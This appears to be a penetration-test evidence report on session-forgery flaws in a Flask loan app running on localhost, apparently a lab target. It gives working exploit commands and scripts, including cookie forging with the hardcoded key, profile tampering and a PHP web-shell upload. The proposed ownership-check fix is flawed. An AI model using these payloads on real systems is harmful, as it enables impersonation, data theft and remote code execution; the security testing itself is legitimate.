# Authorization Exploitation Evidence

## Successfully Exploited Vulnerabilities

### AUTHZ-VULN-01: Horizontal IDOR - Unauthorized Profile Data Access via Session Forgery

**Summary:**
- **Vulnerable location:** GET /profile endpoint at `/app/website/app/routes.py:60-81`
- **Overview:** An attacker can forge Flask session cookies with arbitrary user_id values to access any user's complete profile information, including PII and sensitive personal data.
- **Impact:** Complete unauthorized access to victim's personally identifiable information (PII) including name, lastname, email address, and loan details. This enables identity theft, social engineering attacks, and privacy violations.
- **Severity:** Critical

**Prerequisites:**
1. Knowledge of the weak Flask secret key: `'your_secret_key'` (hardcoded at `/app/website/app/__init__.py:8`)
2. flask-unsign tool or equivalent session forgery capability
3. Valid user_id value for the target victim (user IDs are sequential integers starting from 1)
4. Network access to http://localhost:42029/

**Exploitation Steps:**

1. **Install flask-unsign tool:**
   ```bash
   pip install flask-unsign
   ```

2. **Forge session cookie for victim user_id:**
   ```bash
   flask-unsign --sign --cookie "{'user_id': 2}" --secret 'your_secret_key'
   ```
   Output: `eyJ1c2VyX2lkIjoyfQ.aQUGSw.Qs7h67AZBTpvKGmOy81SuuE2dXI`

3. **Send GET request to /profile with forged session:**
   ```python
   import requests
   
   forged_session = "eyJ1c2VyX2lkIjoyfQ.aQUGSw.Qs7h67AZBTpvKGmOy81SuuE2dXI"
   response = requests.get(
       "http://localhost:42029/profile",
       cookies={"session": forged_session}
   )
   ```

4. **Extract victim's PII from response:**
   The response HTML contains form fields populated with the victim's data:
   - Name: `<input name="name" value="Alice">`
   - Lastname: `<input name="lastname" value="Victim">`
   - Email: `<input name="email" value="alice@victim.com">`
   - Loan Amount: `<input name="loan_amount" value="50000.0">`
   - Loan Term: `<input name="loan_term_months" value="120">`
   - Monthly Payment: `<input name="monthly_payment" value="625.5">`

**Proof of Impact:**

Successfully accessed victim (user_id=2) profile data:
```
Status: 200 OK
Victim's Profile Data:
  name: Alice
  lastname: Victim
  email: alice@victim.com
  loan_amount: 50000.0
  loan_term_months: 120
  monthly_payment: 625.5
```

**Notes:**
- This vulnerability affects all authenticated users in the system
- User enumeration is trivial due to sequential integer user IDs
- The weak secret key makes session forgery extremely easy
- No ownership validation exists in the code - the application blindly trusts the session-provided user_id

---

### AUTHZ-VULN-02: Horizontal IDOR - Unauthorized Profile Modification via Session Forgery

**Summary:**
- **Vulnerable location:** POST /profile endpoint at `/app/website/app/routes.py:60-75`
- **Overview:** An attacker can forge session cookies to modify any user's profile data, including name, email address, and loan details. This enables account takeover by changing the victim's email address.
- **Impact:** Complete unauthorized modification of victim's profile data and potential account takeover. Attacker can change victim's email to gain control of password reset flows, modify loan amounts to cause financial discrepancies, and corrupt user data integrity.
- **Severity:** Critical

**Prerequisites:**
1. Knowledge of the weak Flask secret key: `'your_secret_key'`
2. flask-unsign tool for session forgery
3. Target victim's user_id value
4. Network access to http://localhost:42029/

**Exploitation Steps:**

1. **Forge session cookie for victim (user_id=2):**
   ```bash
   flask-unsign --sign --cookie "{'user_id': 2}" --secret 'your_secret_key'
   ```
   Output: `eyJ1c2VyX2lkIjoyfQ.aQUHQQ.R0q9iai2tmgrvP1P569QRx-6xxx`

2. **Verify victim's current profile data (optional):**
   Check database or use AUTHZ-VULN-01 to read current values:
   ```
   BEFORE: name=Alice, lastname=Victim, email=alice@victim.com, loan_amount=50000
   ```

3. **Send malicious POST request with attacker-controlled data:**
   ```python
   import requests
   
   forged_session = "eyJ1c2VyX2lkIjoyfQ.aQUHQQ.R0q9iai2tmgrvP1P569QRx-6xxx"
   
   attack_data = {
       'name': 'COMPROMISED',
       'lastname': 'ACCOUNT',
       'email': 'attacker@evil.com',
       'loan_amount': '1000000.0',
       'loan_term_months': '999',
       'monthly_payment': '1.0'
   }
   
   response = requests.post(
       "http://localhost:42029/profile",
       data=attack_data,
       cookies={"session": forged_session}
   )
   ```

4. **Verify modification success:**
   Application redirects to /home (status 302/200), and database shows modified values:
   ```
   AFTER: name=COMPROMISED, lastname=ACCOUNT, email=attacker@evil.com, loan_amount=1000000
   ```

**Proof of Impact:**

Successfully modified victim's profile:
```
POST Status: 200 OK

Database verification:
BEFORE ATTACK:
  name        lastname    email                 loan_amount
  Alice       Victim      alice@victim.com      50000

AFTER ATTACK:
  name        lastname    email                 loan_amount
  COMPROMISED ACCOUNT     attacker@evil.com     1000000

✓ Victim's email changed to attacker-controlled address
✓ All profile fields successfully modified
✓ Account takeover achievable via password reset to new email
```

**Notes:**
- This vulnerability enables complete account takeover by changing the victim's email
- No CSRF protection exists, making this exploitable via cross-site attacks
- No rate limiting or anomaly detection on profile modifications
- Database commits happen immediately with no validation or approval workflow

---

### AUTHZ-VULN-03: Horizontal IDOR - Profile Modification + Malicious File Upload via Session Forgery

**Summary:**
- **Vulnerable location:** POST /update_profile endpoint at `/app/website/app/routes.py:84-119`
- **Overview:** An attacker can forge session cookies to both modify any user's profile data AND upload arbitrary files to the victim's account. This is the most severe write vulnerability, combining data modification with unrestricted file upload capabilities.
- **Impact:** Complete profile takeover plus ability to upload malicious files (backdoors, web shells, malware) to the victim's account. Files are stored in the web-accessible directory `/var/www/loan_calculator/app/static/images/` and associated with the victim's profile, enabling content injection, stored XSS, or RCE attacks.
- **Severity:** Critical

**Prerequisites:**
1. Knowledge of the weak Flask secret key: `'your_secret_key'`
2. flask-unsign tool for session forgery
3. Target victim's user_id value
4. Network access to http://localhost:42029/
5. Malicious file to upload (e.g., PHP backdoor, HTML with XSS payload)

**Exploitation Steps:**

1. **Create malicious file payload:**
   ```bash
   # Example: PHP web shell
   echo '<?php system($_GET["cmd"]); ?>' > backdoor.php
   ```

2. **Forge session cookie for victim (user_id=2):**
   ```bash
   flask-unsign --sign --cookie "{'user_id': 2}" --secret 'your_secret_key'
   ```

3. **Prepare multipart form data with file and profile fields:**
   ```python
   import requests
   
   forged_session = "eyJ1c2VyX2lkIjoyfQ.aQUHNA.Nd5Ch9UZFAJ5eVtnZ2uNI0Aixx"
   
   # File to upload
   files = {
       'image_profile': ('attacker_backdoor.php', 
                        b'<?php system($_GET["cmd"]); ?>', 
                        'application/x-php')
   }
   
   # Profile data to modify
   data = {
       'name': 'PWNED',
       'lastname': 'VICTIM',
       'email': 'hacked@attacker.com',
       'loan_amount': '999999.0',
       'loan_term_months': '1',
       'monthly_payment': '0.01'
   }
   
   response = requests.post(
       "http://localhost:42029/update_profile",
       data=data,
       files=files,
       cookies={"session": forged_session}
   )
   ```

4. **Verify file upload and profile modification:**
   - Check database for modified profile fields
   - Verify file exists in `/var/www/loan_calculator/app/static/images/`
   - File is accessible via URL: `http://localhost:42029/static/images/attacker_backdoor.php`

**Proof of Impact:**

Successfully modified profile and uploaded malicious file:
```
POST Status: 200 OK

Database verification:
BEFORE ATTACK:
  name     email                image_profile_filename
  Alice    alice@victim.com     default_profile.png

AFTER ATTACK:
  name     email                image_profile_filename
  PWNED    hacked@attacker.com  attacker_backdoor.php

File system verification:
Files in /var/www/loan_calculator/app/static/images/:
  -rw-r--r-- www-data www-data 30 Oct 31 19:00 attacker_backdoor.php
  
File contents: <?php system($_GET["cmd"]); ?>

✓ Profile successfully modified
✓ Malicious PHP backdoor uploaded to victim's account
✓ File is web-accessible and executable (if PHP is enabled)
✓ Victim's account now associated with attacker's malicious content
```

**Notes:**
- Most severe authorization vulnerability in the application
- Combines profile modification (AUTHZ-VULN-02) with unrestricted file upload
- No file type validation, MIME type checking, or content scanning
- While path traversal protection exists, it doesn't prevent authorization bypass
- Files are stored with attacker-controlled filenames (with minor sanitization)
- No file size limits or upload rate limiting
- Enables stored XSS, RCE (if server processes uploaded files), content injection, malware distribution

---

### AUTHZ-VULN-04: Horizontal IDOR - Unauthorized Home Page Access via Session Forgery

**Summary:**
- **Vulnerable location:** GET /home endpoint at `/app/website/app/routes.py:48-57`
- **Overview:** An attacker can forge session cookies to access any user's home page and view their name and lastname displayed in the welcome message.
- **Impact:** Unauthorized access to victim's PII (name and lastname). While less severe than full profile access (AUTHZ-VULN-01), this still constitutes a privacy violation and demonstrates the systemic authorization failure across all authenticated endpoints.
- **Severity:** High

**Prerequisites:**
1. Knowledge of the weak Flask secret key: `'your_secret_key'`
2. flask-unsign tool for session forgery
3. Target victim's user_id value
4. Network access to http://localhost:42029/

**Exploitation Steps:**

1. **Forge session cookie for victim (user_id=2):**
   ```bash
   flask-unsign --sign --cookie "{'user_id': 2}" --secret 'your_secret_key'
   ```

2. **Send GET request to /home endpoint:**
   ```python
   import requests
   
   forged_session = "eyJ1c2VyX2lkIjoyfQ.aQUHNA.Nd5Ch9UZFAJ5eVtnZ2uNI0Aixx"
   
   response = requests.get(
       "http://localhost:42029/home",
       cookies={"session": forged_session}
   )
   ```

3. **Extract victim's name from HTML response:**
   The victim's name and lastname appear in the home page content:
   ```html
   Welcome, Alice Victim!
   ```

**Proof of Impact:**

Successfully accessed victim's home page:
```
GET Status: 200 OK
Response Size: 1592 bytes

Victim's PII found in response:
  ✓ Contains 'Alice': True
  ✓ Contains 'Victim': True
  
HTML content shows victim's full name displayed to attacker
```

**Notes:**
- Lower impact than AUTHZ-VULN-01 (only exposes name/lastname vs complete profile)
- Demonstrates same authorization bypass pattern across all endpoints
- No ownership validation at routes.py:51-53
- Confirms systemic failure in authorization model

---

### AUTHZ-VULN-05: Horizontal IDOR - Unauthorized Financial Data Access via Session Forgery

**Summary:**
- **Vulnerable location:** GET /loan_details endpoint at `/app/website/app/routes.py:136-146`
- **Overview:** An attacker can forge session cookies to access any user's sensitive financial loan information, including loan principal amount, loan term duration, and monthly payment amounts.
- **Impact:** Complete exposure of victim's sensitive financial PII. This data can be used for identity theft, social engineering, financial fraud, and may violate financial data protection regulations (GLBA, PCI-DSS). Enables targeted phishing attacks with knowledge of victim's actual financial situation.
- **Severity:** Critical

**Prerequisites:**
1. Knowledge of the weak Flask secret key: `'your_secret_key'`
2. flask-unsign tool for session forgery
3. Target victim's user_id value
4. Network access to http://localhost:42029/

**Exploitation Steps:**

1. **Forge session cookie for victim (user_id=2):**
   ```bash
   flask-unsign --sign --cookie "{'user_id': 2}" --secret 'your_secret_key'
   ```
   Output: `eyJ1c2VyX2lkIjoyfQ.aQUHmw.lU9R4EaRO96k0dJVx4CEKyx_BW4`

2. **Send GET request to /loan_details endpoint:**
   ```python
   import requests
   
   forged_session = "eyJ1c2VyX2lkIjoyfQ.aQUHmw.lU9R4EaRO96k0dJVx4CEKyx_BW4"
   
   response = requests.get(
       "http://localhost:42029/loan_details",
       cookies={"session": forged_session}
   )
   ```

3. **Extract victim's financial data from HTML response:**
   The loan details page displays:
   - Loan Amount (principal): `$75,000.00`
   - Loan Term: `180 months`
   - Monthly Payment: `$833.33`

**Proof of Impact:**

Successfully accessed victim's sensitive financial data:
```
GET Status: 200 OK
Response Size: 3773 bytes

Database shows victim's actual financial data:
  id: 2
  username: victim
  loan_amount: 75000
  loan_term_months: 180
  monthly_payment: 833.33

Response verification:
  ✓ Victim's loan amount (75000) visible: True
  ✓ Victim's monthly payment (833.33) visible: True
  ✓ Victim's loan term (180 months) visible: True

Complete financial profile exposed to unauthorized attacker.
```

**Notes:**
- High-value target due to sensitive financial data exposure
- May violate financial data protection regulations (GLBA, PCI-DSS)
- Enables targeted financial fraud and social engineering attacks
- No ownership validation at routes.py:139-141
- Financial data should be considered highly sensitive PII
- Exposure enables identity theft and sophisticated phishing campaigns

---

## Root Cause Analysis

All five vulnerabilities share the same fundamental root cause:

**1. Weak Session Secret Key:**
- Hardcoded as `'your_secret_key'` at `/app/website/app/__init__.py:8`
- Common placeholder string with minimal entropy
- Publicly visible in source code and version control
- Enables trivial session forgery using flask-unsign

**2. Complete Absence of Authorization Logic:**
- Application performs authentication (session validation) but NO authorization (ownership validation)
- Code pattern repeated across all endpoints:
  ```python
  user_id = session.get('user_id')  # Trust session-provided ID
  if user_id:
      user = User.query.get(user_id)  # Direct query with NO ownership check
      # Return/modify user data
  ```
- No validation that requesting user should access the queried user's data

**3. Binary Access Model:**
- Only two states: authenticated vs unauthenticated
- No role-based access control (RBAC)
- No object ownership validation
- All authenticated users have identical privileges

**4. Session-Based IDOR Pattern:**
- User identification is implicit through session cookie
- No explicit user_id parameters in URL paths
- Creates "hidden" IDOR vulnerability not obvious from URL structure
- Attackers can impersonate any user by forging session cookies

## Remediation Recommendations

**Immediate Actions (Critical):**
1. **Replace weak secret key** with cryptographically secure random value (32+ bytes)
2. **Implement ownership validation** in all endpoints that access user-specific data:
   ```python
   requesting_user_id = session.get('user_id')
   if user_id != requesting_user_id:
       return abort(403)  # Forbidden
   ```
3. **Add authorization decorators** to create reusable ownership checks
4. **Implement CSRF protection** using Flask-WTF or similar

**Long-Term Actions:**
1. Implement proper role-based access control (RBAC) framework
2. Add audit logging for all data access and modifications
3. Implement rate limiting on sensitive endpoints
4. Add anomaly detection for unusual access patterns
5. Use server-side session storage instead of client-side signed cookies
6. Implement file upload validation (type, size, content scanning)
7. Add input validation and sanitization for all user data
8. Implement least privilege principle in database access
